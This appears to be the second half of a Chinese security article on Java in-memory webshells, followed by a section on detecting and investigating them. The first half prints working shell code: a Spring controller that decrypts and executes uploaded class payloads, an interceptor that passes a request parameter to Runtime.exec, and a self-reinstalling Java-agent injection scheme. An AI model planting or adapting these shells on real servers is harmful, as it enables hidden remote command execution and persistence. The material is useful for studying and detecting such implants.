        Iterator urlIterator = urlLookup.keySet().iterator();
        while (urlIterator.hasNext()){
            String urlPath = (String) urlIterator.next();
            if (this.injectUrlPath.equals(urlPath)){
                System.out.println("URL已存在");
                return;
            }
        }
        // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition(this.injectUrlPath);
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }


    // controller处理请求时执行的代码
    public Object test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        HttpSession session = request.getSession();
//        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);




//        session.putValue("u",this.k);


        // shell.jsp中的对象情况如下
        // this.getClass().getClassLoader() -> org.apache.jasper.servlet.JasperLoader
        // pageContext -> org.apache.jasper.runtime.PageContextImpl


        // 冰蝎逻辑
        if (request.getMethod().equals("POST"))
        {
            session.setAttribute("u", this.k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2,new SecretKeySpec(this.k.getBytes(),"AES"));


            InjectToController injectToController = new InjectToController(ClassLoader.getSystemClassLoader());
            String base64String = request.getReader().readLine();
            byte[] bytesEncrypted = new sun.misc.BASE64Decoder().decodeBuffer(base64String);  // base64解码
            byte[] bytesDecrypted = c.doFinal(bytesEncrypted);  // AES解密
            Class newClass = injectToController.g(bytesDecrypted);  // 调用g函数,进一步调用父类defineClass函数获得类对象


            Map<String, Object> pageContext = new HashMap<String, Object>();  // 为pageContext添加三个对象
            pageContext.put("session", session);
            pageContext.put("request", request);
            pageContext.put("response", response);
            newClass.newInstance().equals(pageContext);  // 调用被加载的恶意对象的equals方法,最终执行payload
//            new InjectToController(ClassLoader.getSystemClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
        }
        return response;  // 返回结果
    }
}

5、Spring interceptor型

参考这两篇:

  • 利用 intercetor 注入 spring 内存 webshell
  • 针对Spring MVC的Interceptor内存马

这种类型的场景:最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们 webshell 逻辑的处理。在 tomcat 容器下,有 filter、listener 等技术可以达到上述要求。那么在 spring 框架层面下,就考虑Interceptor 拦截了

(1)获得上下文环境

参见上面controller型

(2)获取 adaptedInterceptors 属性值

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

(3)恶意Interceptor类

结合漏洞(如反序列化、sql注入等)注入

//package bitterz.interceptors;


import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class TestInterceptor extends HandlerInterceptorAdapter {
    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
        // 避免重复添加
        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
                System.out.println("已经添加过TestInterceptor实例了");
                return;
            }
        }


        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环
        adaptedInterceptors.add(aaa);  //  添加全局interceptor
    }


    private TestInterceptor(String aaa){}


    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if (code != null) {
            java.lang.Runtime.getRuntime().exec(code);
            return true;
        }
        else {
//            response.sendError(404);
            return true;
        }}}

6、Java agent型

参考这两篇:

    利用“进程注入”实现无文件不死webshell
    浅谈 Java Agent 内存马

(1)Java agent

通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。在 Instrumentation 中增加了名叫 Transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器

getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果

(2)确定关键类

想要实现这样一种效果:访问web服务器上的任意一个url,无论这个url是静态资源还是jsp文件,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令。

为了达到这个目的,需要找一个特殊的类,这个类要尽可能在http请求调用栈的上方,又不能与具体的URL有耦合,而且还能接受客户端request中的数据。经过分析,发现org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法最符合我们的要求

(3)webshell

整个植入流程:

将inject.jar和agent.jar上传至目标Web Server任意目录下

以tomcat进程启动的OS用户执行java –jar inject.ja

inject.jar会通过一个循环遍历查找Web Server上的JVM进程,并把agent.jar注入进JVM进程中,直到注入成功后,inject.jar才会退出

注入成功后,agent.jar执行agentmain方法,该方法主要做以下几件事情:

遍历所有已经加载的类,查找

“org.apache.catalina.core.ApplicationFilterChain”,并对该类的internalDoFilter方法进行修改

修改完之后,把磁盘上的inject.jar和agent.jar读进tomcat内存中

对memShell做初始访问。为什么要做一次初始化访问呢?因为我们下一步要从磁盘上删掉agent.jar和inject.jar,在删除之前如果没有访问过memShell的话,memShell相关的一些类就不会加载进内存,这样后续我们在访问memShell的时候就会报ClassNotFound异常。有两种方法初始化类,第一是挨个把需要的类手动加载一次,第二是模拟做一次初始化访问,memShell采用的后者

删除磁盘上的inject.jar和agent.jar。当Web Server是Linux系统的时候,正常删除文件即可。当Web Server是Windows系统的时候,由于Windows具有文件锁定机制,当一个文件被其他程序占用时,这个文件是处于锁定状态不可删除的,inject.jar正在被JVM所占用。要删除这个jar包,需要先打开该进程,遍历该进程的文件句柄,通过DuplicateHandle来巧妙的关闭文件句柄,然后再执行删除,我把这个查找句柄、关闭句柄的操作写进了一个exe中,memShell判断WebServer是Windows平台时,会先释放这个exe文件来关闭句柄,再删除agent.jar

memShell注入完毕,正常接收请求,通过访问http://xxx/anyurl?show_the_world=password可以看到plain风格的使用说明(为什么是plain风格,因为懒)

当JVM关闭时,会首先执行我们注册的ShutdownHook:

把第4(b)步中我们读进内存的inject.jar和agent.jar写入JVM临时目录

执行java -jar inject.jar,此后过程便又回到上述第3步中,形成一个闭环结构

打包好的memshell:

  • https://github.com/rebeyond/memShell
  • https://github.com/KpLi0rn/AgentMemShell

7、Tomcat

参考基于tomcat的内存 Webshell 无文件攻击技术

试图做到tomcat下的通杀Webshell

具体文章讲的很清楚了

8、weblogic

参考weblogic 无文件webshell的技术研究

类似于tomcat场景

四、内存马检测与排查

一些具体的思路和常见特征见:

  • 查杀Java web filter型内存马
  • Filter/Servlet型内存马的扫描抓捕与查杀
  • Tomcat 内存马检测
  • 基于javaAgent内存马检测查杀指南

1、检测

在java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类, Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。

这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测:

  • 新增的或修改的;
  • 没有对应class文件的
  • xml配置中没注册的
  • 冰蝎等常见工具使用的
  • filterchain中排第一的filter类

还有一些比较弱的特征可以用来辅助检测,比如类名称中包含shell或者为随机名,使用不常见的classloader加载的类等等。

另外,有一些工具可以辅助检测内存马,如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet,然后通过名称、对应的class是否存在来判断是否是内存马

2、排查

如果是jsp注入,日志中排查可疑jsp的访问请求。

如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法

根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。

如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200

3、工具

已有的可用工具:

    https://github.com/alibaba/arthas
    https://github.com/LandGrey/copagent
    https://github.com/c0ny1/java-memshell-scanner

结语

参考:

    Tomcat 源代码调试笔记 - 看不见的 Shell
    利用“进程注入”实现无文件不死webshell
    浅谈 Java Agent 内存马
    基于内存 Webshell 的无文件攻击技术研究
    针对spring mvc的controller内存马-学习和实验(注入菜刀和冰蝎可用的马)
    基于tomcat的内存 Webshell 无文件攻击技术
    查杀Java web filter型内存马
    Filter/Servlet型内存马的扫描抓捕与查杀
    Tomcat 内存马检测
    基于javaAgent内存马检测查杀指南
    一文看懂内存马
    Tomcat 内存马学习(一):Filter型
    Tomcat 内存马学习(二):结合反序列化注入内存马
    JSP Webshell那些事 – 攻击篇(上)
    JSP Webshell那些事 – 攻击篇(下)
    Tomcat下基于Listener的内存Webshell分析
    利用 intercetor 注入 spring 内存 webshell
    针对Spring MVC的Interceptor内存马
    weblogic 无文件webshell的技术研究
    https://github.com/bitterzzZZ/MemoryShellLearn(这个仓库里做了个小归档)
    https://github.com/jweny/MemShellDemo

红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。